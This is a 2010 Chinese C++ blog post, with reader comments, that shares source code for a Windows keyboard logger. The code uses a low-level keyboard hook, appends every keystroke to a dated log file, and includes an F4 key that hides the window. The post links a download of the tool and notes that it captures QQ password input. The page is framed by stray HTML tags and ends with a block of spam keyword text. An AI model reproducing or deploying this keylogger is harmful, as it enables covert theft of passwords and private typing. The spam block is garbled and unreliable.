• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            Pencil.C++

            更新速度可能會(huì)晚于http://blog.csdn.net/bilaopao

              C++博客 :: 首頁(yè) :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理 ::
              34 隨筆 :: 0 文章 :: 40 評(píng)論 :: 0 Trackbacks

                最近在研究反監(jiān)聽密碼框的開發(fā)。  做這個(gè)東西是為了測(cè)試密碼框的效果。 用的是WH_KEYBOARD_LL鉤子。 我暫時(shí)還沒找到防止底層鍵盤全局鉤子的方法。QQ的密碼可以用這種方法監(jiān)聽到,但是不是明文。不知道它是怎么做到的。
                我也給這個(gè)工具做了個(gè)隱藏鍵 F4  。
                開發(fā)工具是VS2008  
                 


            鉤子回調(diào)函數(shù)中的代碼:

             1LRESULT CALLBACK LowLevelKeyboardProc(int nCode,
             2                                      WPARAM wParam,
             3                                      LPARAM lParam
             4                                      )
             5{
             6    PKBDLLHOOKSTRUCT kbhs=(PKBDLLHOOKSTRUCT)lParam;
             7    if (nCode<0)
             8    {
             9        return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
            10    }

            11    if (HC_ACTION==nCode)
            12    {
            13        if (WM_KEYDOWN==wParam || WM_SYSKEYDOWN==lParam)
            14        {
            15            if (VK_F4==kbhs->vkCode)
            16            {
            17                //先判斷窗口是show or hide
            18                m_hWnd2=FindWindow(NULL,L"KeyboardLoger Prees [F4] to hide or show me.");
            19                if (IsWindowVisible(m_hWnd2))
            20                {
            21                    ShowWindow(m_hWnd2,SW_HIDE);
            22                    return 0;
            23                }

            24                else
            25                {
            26                    if (NULL==m_hWnd2)
            27                    {
            28                        AfxMessageBox(L"查找失敗!");
            29                        return 0;
            30                    }

            31                    ShowWindow(m_hWnd2,SW_RESTORE);
            32                    //UpdateWindow(m_hWnd);
            33                    BringWindowToTop(m_hWnd);
            34                    SetForegroundWindow(m_hWnd);
            35                    return 1;
            36                }

            37            }

            38
            39                char c[1]; 
            40
            41                c[0]=kbhs->vkCode; 
            42
            43                SaveLog(c); 
            44        }

            45    }

            46    return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
            47}



            字符保存的代碼:

             1void SaveLog(char* c)
             2{
             3    //AfxMessageBox(L"進(jìn)入存儲(chǔ)程序");
             4    CTime tm=CTime::GetCurrentTime(); 
             5
             6    CString name; 
             7    TCHAR* szPath[MAX_PATH];
             8    ::GetModuleFileName(GetModuleHandle(L"LogerDll"),(LPTSTR)szPath,MAX_PATH);
             9    CString path=(LPTSTR)szPath;
            10    path.Replace(L"\\LogerDll.dll",L"");
            11    name.Format(L"\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); 
            12    path+=name;
            13    
            14    
            15
            16    CFile file; 
            17
            18    if(!file.Open(path,CFile::modeReadWrite)) 
            19
            20    
            21
            22        file.Open(path,CFile::modeCreate|CFile::modeReadWrite); 
            23
            24    }
             
            25
            26    file.SeekToEnd(); 
            27
            28    file.Write(c,1); 
            29
            30    file.Close(); 
            31
            32
            33}




            下載地址:http://www.shnenglu.com/Files/pencil/KeyboardLoger.rar
               

            posted on 2010-01-28 08:43 Pencil.C++ 閱讀(3625) 評(píng)論(9)  編輯 收藏 引用 所屬分類: VC

            評(píng)論

            # re: 發(fā)一個(gè)鍵盤監(jiān)聽工具的代碼 2010-01-28 11:33 lo
            qq2009不停的setwindowhook 以保證自己處于hook鏈頂端來加密
            另外使用模擬按鍵來干擾  回復(fù)  更多評(píng)論
              

            # re: 發(fā)一個(gè)鍵盤監(jiān)聽工具的代碼 2010-01-28 13:16 test
            你LogerDll.dll 呢?  回復(fù)  更多評(píng)論
              

            # re: 發(fā)一個(gè)鍵盤監(jiān)聽工具的代碼 2010-01-28 13:17 Pencil.C++
            在里面了大哥。@test
              回復(fù)  更多評(píng)論
              

            # re: 發(fā)一個(gè)鍵盤監(jiān)聽工具的代碼 2010-01-28 13:18 Pencil.C++
            謝謝您的分享,我試試。@lo
              回復(fù)  更多評(píng)論
              

            # re: 發(fā)一個(gè)鍵盤監(jiān)聽工具的代碼 2010-01-28 13:31 test
            大哥 我看到了啊 你好咧啊,我在google閱讀器里看到你的啊,不過你是壞寧,你想干壞事,嘎嘎~  回復(fù)  更多評(píng)論
              

            # re: 發(fā)一個(gè)鍵盤監(jiān)聽工具的代碼 2010-01-28 13:32 Pencil.C++
            這個(gè)只是個(gè)雛形,沒有什么實(shí)用意義。呵呵。@test
              回復(fù)  更多評(píng)論
              

            # re: 發(fā)一個(gè)鍵盤監(jiān)聽工具的代碼 2010-01-28 13:34 test
            好玩唄,  回復(fù)  更多評(píng)論
              

            # re: 發(fā)一個(gè)鍵盤監(jiān)聽工具的代碼 2010-01-29 08:44 Pencil.C++
            實(shí)際上,QQ并不是這么做的,最起碼現(xiàn)在的版本不是。@lo
              回復(fù)  更多評(píng)論
              

            # re: 發(fā)一個(gè)鍵盤監(jiān)聽工具的代碼 2010-01-29 12:29 zhaoyg
            學(xué)習(xí)了  回復(fù)  更多評(píng)論
              

            久久久久人妻精品一区三寸蜜桃| 久久国产欧美日韩精品免费| 伊人久久大香线蕉av不变影院| 亚洲日本久久久午夜精品| 国产精久久一区二区三区| 亚洲精品美女久久久久99| 国产69精品久久久久APP下载 | 精品久久久久久亚洲| 亚洲国产精品久久久久| 伊色综合久久之综合久久| 久久久久人妻一区精品性色av| 久久精品国产精品青草| 日日狠狠久久偷偷色综合0 | 日韩精品久久久久久久电影蜜臀| 久久亚洲精品人成综合网| 国内精品久久久久久中文字幕| 亚洲国产小视频精品久久久三级 | 青青青青久久精品国产 | 久久精品国产99久久久古代| 久久精品无码一区二区三区| 欧洲人妻丰满av无码久久不卡| 精品久久久噜噜噜久久久 | 欧美无乱码久久久免费午夜一区二区三区中文字幕 | 99久久99久久精品免费看蜜桃| 久久精品免费网站网| 国产成人久久精品一区二区三区| 日韩十八禁一区二区久久| 国产精品99久久久久久宅男| 久久久一本精品99久久精品88| 久久影院午夜理论片无码| 久久精品国产精品亚洲人人| 国产99精品久久| 精品久久久久久亚洲精品| 一本一本久久A久久综合精品| 亚洲欧洲久久av| 久久国产精品无码网站| 久久se精品一区精品二区国产| 国产精品成人99久久久久| 国产精品欧美久久久久无广告| 久久99国产精品久久99果冻传媒| 99精品久久精品|